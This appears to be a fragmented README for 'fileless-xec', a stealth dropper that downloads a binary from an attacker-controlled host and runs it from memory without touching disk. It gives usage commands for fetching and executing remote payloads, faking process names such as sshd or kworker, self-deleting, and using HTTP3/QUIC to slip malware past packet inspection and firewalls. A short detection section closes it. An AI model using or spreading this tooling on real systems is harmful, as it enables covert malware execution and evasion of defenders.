Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...)
👋 Certainly useful , mainly for fun, rougly inspired by 0x00 article
Pentest use: fileless-xec
is used on target machine to stealthy execute a binary file located on attacker machine
fileless-xec
enable us to execute a remote binary on a local machine directly from memory without dropping them on disk
fileless-xec [binary_url]
(~curl | sh
for binaries)fileless-xec -n /usr/sbin/sshd [binary_url]
tty
: fileless-xec --setsid [...]
writeNsleep
binary located on a remote machine.
We first start a python http server on remote.
Locally we use fileless-xec
and impersonate the /usr/sbin/sshd
name for the execution of the binary writeNsleep
(for stealthiness & fun). Once writeNsleep start fileless-xec will delete itself (--self-remove
)
fileless-xec
self remove
fileless-xec
server mode
fileless-xec
on windows
fileless-xec
self removes once launchedThe remote binary file is stored locally using memfd_create
syscall, which store it within a memory disk which is not mapped into the file system (ie you can't find it using ls
).
Note: the syscall memfd_create
does not exist for macOS.
Then we execute it using fexecve
syscall (as it is currently not provided by syscall
golang library we implement it).
With
fexecve
we could exec a program, but we reference the program to run using a file descriptor, instead of the full path.
Enable it with -Q /http3 flag. You can setup a light web rootfs server supporting http3 by running go run ./test/http3/light-server.go -p LISTENING PORT (This is http3 equivalent of python3 -m http.server )use test/http3/genkey.sh to generate cert and key.
|
QUIC
UDP aka http3
is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server.
Because QUIC uses proprietary encryption equivalent to TLS (this will change in the future with a standardized version), 3rd generation firewalls that provide application control and visibility encounter difficulties to control and monitor QUIC traffic.
If you actually use fileless-xec
as a dropper (Only for testing purpose or with the authorization), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could bypass packet analysis and GET a malware.
Also, in case firewall is only used for allowing/blocking traffic it could happen that firewall rules forget the udp protocol making your requests go under the radars
Although not present on the memory disk, the running program can still be detected using ps
command for example.
fileless-xec --name <fake_name> <binary_raw_url>
by default the name is [kworker/u:0]
fileless-xec --setsid <binary_raw_url>
.
You could still be detected with:
$ lsof | grep memfd
Or also opensnoop
(but not by execsnoop
)
Or seccomp profile auditing execve
syscall (but it is very overwhelming as a sleep
command also use execve)